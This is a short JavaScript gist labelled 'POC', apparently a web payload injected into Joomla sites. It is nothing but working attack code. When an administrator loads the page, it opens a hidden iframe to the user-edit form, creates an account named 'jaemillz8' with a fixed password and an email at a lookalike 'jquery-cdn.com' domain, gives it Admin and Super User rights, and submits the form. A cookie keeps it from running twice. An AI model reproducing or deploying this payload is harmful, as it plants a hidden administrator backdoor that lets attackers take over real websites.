POC

gistfile1.js

function setcookie7(e, d, c) {
    var b = new Date();
    var a = new Date();
    if (c == null || c == 0) {
        c = 1
    }
    a.setTime(b.getTime() + 3600000 * 24 * c);
    document.cookie = e + "=" + escape(d) + ";expires=" + a.toGMTString() + ";path=/"
}
function trytocheck() {
    if (document.body === null) {
        return
    }
    if (document.body.innerHTML.search("help.j") < 0) {
        return
    }
    if (document.cookie.search("__utml=1") > 0) {
        return
    }
    if (window != window.top) {
        return
    }
    ifrm = document.createElement("iframe");
    ifrm.id = "pwn";
    ifrm.src = "index.php?option=com_users&view=user&layout=edit";
    ifrm.style.display = "none";
    document.body.appendChild(ifrm);
    setTimeout("adm7()", 2000)
}
function adm7() {
    setcookie7("__utml", 1, 14);
    i = document.getElementById("pwn").contentWindow.document;
    i.getElementById("jform_name").value = "Joomla Default";
    i.getElementById("jform_username").value = "jaemillz8";
    i.getElementById("jform_email").value = "jaemillz8@jquery-cdn.com";
    i.getElementById("jform_password").value = "joomlaupdatepass";
    i.getElementById("jform_password2").value = "joomlaupdatepass";
    for (x = 0; x < 100; x++) {
        if (i.getElementById("1group_" + x) === null) {
            continue
        }
        i.getElementById("1group_" + x).checked = false;
        var a = i.getElementById("1group_" + x).parentNode;
        if (a.innerHTML.search("Admin") > 0) {
            i.getElementById("1group_" + x).checked = true
        }
        if (a.innerHTML.search("Super") > 0) {
            i.getElementById("1group_" + x).checked = true
        }
    }
    document.getElementById("pwn").contentWindow.Joomla.submitbutton("user.apply")
}
setTimeout("trytocheck()", 3000);